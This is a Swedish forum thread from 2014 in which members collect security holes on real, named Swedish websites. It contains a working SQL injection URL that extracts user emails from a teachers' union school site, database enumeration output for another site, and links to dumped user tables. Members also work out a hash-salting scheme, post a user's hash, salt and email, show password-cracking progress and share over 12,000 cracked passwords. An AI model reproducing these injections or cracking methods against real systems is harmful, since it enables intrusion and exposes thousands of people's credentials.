Samling av sidor med säkerhetsbrister - Del 2

2014-05-12, 23:05 #**4285**

Medlem

Reg: Sep 2013

Inlägg: 28

Citat:

Ursprungligen postat av Abnormius

snip snap

Tack för dumpen ska se om jag kan cracka alla Hashes och få ut en dump i klar text senare

Citera

2014-05-12, 23:14 #**4286**

Medlem

Reg: Feb 2014

Inlägg: 85

Citat:

Ursprungligen postat av Dr.D3st0r

Tack för dumpen ska se om jag kan cracka alla Hashes och få ut en dump i klar text senare

Användarnamn: Abnormius
Hash: 3bf8e587917631773b00524450cd325e
Salt: 15371381f7c7cb
Email: ddw9ho5+h0mlro@sharklasers.com

Lösenordet är: 123456

Så att det går att lista ut salt-ordningen.

Citera

2014-05-12, 23:18 #**4287**

Medlem

Reg: Sep 2013

Inlägg: 28

Citat:

Ursprungligen postat av Abnormius

Användarnamn: Abnormius
Hash: 3bf8e587917631773b00524450cd325e
Salt: 15371381f7c7cb
Email: ddw9ho5+h0mlro@sharklasers.com

Lösenordet är: 123456

Så att det går att lista ut salt-ordningen.

Kan man inte cracka hashen som den är typ

3bf8e587917631773b00524450cd325e:15371381f7c7cb
? Jag har för mig att detta gick

Citera

2014-05-12, 23:40 #**4288**

Medlem

Reg: Feb 2014

Inlägg: 85

Citat:

Ursprungligen postat av Dr.D3st0r

Kan man inte cracka hashen som den är typ

3bf8e587917631773b00524450cd325e:15371381f7c7cb
? Jag har för mig att detta gick

Mjo, men man måste ofta veta vart saltet sitter. T.ex:

md5(pass.salt) eller md5(salt.pass)

Kan även vara: md5(pass.username.salt) eller md5(username.sha1(salt.email.pass))

Så man måste klura lite på det där.

Citera

2014-05-13, 09:21 #**4289**

Medlem

Reg: Jan 2014

Inlägg: 538

En till

http://skola.lararkansliet.se/?type=

MySQL UNION query (random number) - 2 columns

available databases [2]:
information_schema
skola_lararforbundet_se

Count of skola_lararforbundet_se.users is 19718

Citera

2014-05-13, 16:11 #**4290**

Medlem

Reg: Dec 2011

Inlägg: 5 963

Citat:

Ursprungligen postat av butkus

http://skola.lararkansliet.se/?type=

Stakars Lärarkansliet..

Kod:

http://skola.lararkansliet.se/?type=0 union all select (select concat(cast(users.email as char)) from `skola_lararforbundet_se`.users Order by email limit 1,1) ,0x00--

Dumpade inte med egenkodat skript eller så utan ville bara visa hur queryn ser ut. Hade jag skrivit ett skript så skulle jag kört med parallella threads som hämtar email och pass samtidigt.

Anyway, dump: https://anonfiles.com/file/e6d26f0b9ceae0c4ad608571c14c62e3

Citera

2014-05-13, 18:29 #**4291**

Medlem

Reg: Jan 2009

Inlägg: 48

Citat:

Ursprungligen postat av Abnormius

Mjo, men man måste ofta veta vart saltet sitter. T.ex:

md5(pass.salt) eller md5(salt.pass)

Kan även vara: md5(pass.username.salt) eller md5(username.sha1(salt.email.pass))

Så man måste klura lite på det där.

Det är md5(salt.pass.salt)

Lycka till!

Citera

2014-05-13, 21:37 #**4292**

Medlem

Reg: Sep 2013

Inlägg: 28

Citat:

Ursprungligen postat av ozzle

Det är md5(salt.pass.salt)

Lycka till!

Tackar för informationen! Ska börja cracka dom imorgon! Hoppas att jag kan ha knäckt dom inom två dagar!

Citera

2014-05-13, 22:16 #**4293**

Medlem

Reg: Feb 2014

Inlägg: 85

Citat:

Ursprungligen postat av ozzle

Det är md5(salt.pass.salt)

Lycka till!

Snyggt

Kudos till dig!

Edit:
Fungerar najs med den hashordningen. Tyvärr bara tillgång till en laptop just nu, och en lite mindre ordlista. Men det går frammåt:

Kod:

Input.Mode: Dict (-----------)
Index.....: 1/1 (segment), --- (words), --- (bytes)
Recovered.: 2022/52480 hashes, 2022/52480 salts
Speed/sec.: 18.87M plains, 373 words
Progress..: -----/----- (17.98%)
Running...: 00:00:09:05
Estimated.: 00:00:41:29

__________________
Senast redigerad av Abnormius 2014-05-13 kl. 22:56.

Citera

2014-05-13, 23:47 #**4294**

Medlem

Reg: Feb 2014

Inlägg: 85

Här har ni 12 378 crackade som ni kan diffa ut från dumpen om ni inte vill cracka i onödan:
https://anonfiles.com/file/9cfe4b7025a851c53625cea8c23a9ed1

Hinner tyvärr inte merga eller diffa, så den intresserade får göra det själv.

Ps, jag tror det här börjar gå lite offtopic nu. Tror det finns en tråd för cracking också.

Citera

2014-05-14, 08:38 #**4295**

Medlem

Reg: Sep 2013

Inlägg: 28

Citat:

Ursprungligen postat av Abnormius

Snyggt

Kudos till dig!

Edit:
Fungerar najs med den hashordningen. Tyvärr bara tillgång till en laptop just nu, och en lite mindre ordlista. Men det går frammåt:

Kod:

Input.Mode: Dict (-----------)
Index.....: 1/1 (segment), --- (words), --- (bytes)
Recovered.: 2022/52480 hashes, 2022/52480 salts
Speed/sec.: 18.87M plains, 373 words
Progress..: -----/----- (17.98%)
Running...: 00:00:09:05
Estimated.: 00:00:41:29

När jag kommer hem så kan jag köra med mitt GTX 780 TI och en 16GB wordlist med en combo rule

Citera

2014-05-14, 19:58 #**4296**

Medlem

Reg: Jan 2014

Inlägg: 538

https://sweflix.com/blogg.php?id=246&pt=Lansering-utav-premium

MySQL UNION query (123) - 5 columns

available databases [13]:
information_schema
k0vir_e-dev
k0vir_hug
k0vir_mek
k0vir_multi
k0vir_rkevent
k0vir_sharp
k0vir_space
k0vir_spaceweb
k0vir_splay
k0vir_splaystat
k0vir_sweflix
k0vir_wplocal

Citera

Samling av sidor med säkerhetsbrister - Del 2

Skapa ett konto eller logga in för att kommentera

Skapa ett konto

Logga in